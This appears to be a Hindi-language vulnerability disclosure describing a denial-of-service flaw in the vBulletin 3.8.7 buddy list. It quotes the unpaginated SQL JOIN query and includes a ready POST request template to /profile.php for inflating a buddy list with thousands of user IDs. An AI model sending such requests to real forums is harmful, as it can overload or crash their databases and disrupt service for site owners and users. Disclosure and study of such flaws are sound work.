
vBulletin 3.8.7 मित्र सूची में एक सेवा अस्वीकार भेद्यता का विवरण।
/misc.php?do=buddylist एंडपॉइंट एक एकल, बड़ा JOIN क्वेरी चलाता है जो ऑनलाइन स्थिति जांचने के लिए सभी बडीज़ को उनके उपयोगकर्ता और सत्र जानकारी के साथ प्राप्त करता है। चूँकि यह क्वेरी बिना पेजिनेशन या परिणाम सीमा के पूरी बडी सूची को संसाधित करती है, यह अत्यधिक संसाधन-गहन हो जाती है और जब सूची बड़ी हो जाती है तो डेटाबेस को ओवरलोड कर सकती है।
यह समस्या शोषण करने में आसान है और इसमें न्यूनतम सेटअप की आवश्यकता होती है। एक बुनियादी उपयोगकर्ता खाते से परे किसी विशेष विशेषाधिकार की आवश्यकता नहीं है। केवल बडी सूची को फुलाकर डेटाबेस पर गंभीर दबाव डाला जा सकता है।
यह SQL क्वेरी प्रत्येक बडी के लिए ऑनलाइन स्थिति जांचने हेतु बडी विवरण और सत्र जानकारी प्राप्त करती है। चूँकि यह पूरी बडी सूची को संसाधित करती है और प्रत्येक प्रविष्टि के लिए सत्र डेटा के साथ JOIN करती है, क्वेरी बहुत बड़ी और संसाधन-गहन हो जाती है।
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
listbits के साथ /profile.php पर POST करके बल्क मित्र सूचियाँ भरी जा सकती हैं। इसे हज़ारों उपयोगकर्ता आईडी के लिए दोहराया जा सकता है ताकि बडी सूची फुलाई जा सके:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
बड़े फ़ोरम पर, यह गंभीर क्वेरी लैग का कारण बन सकता है या MySQL इंस्टेंस को पूरी तरह से क्रैश कर सकता है।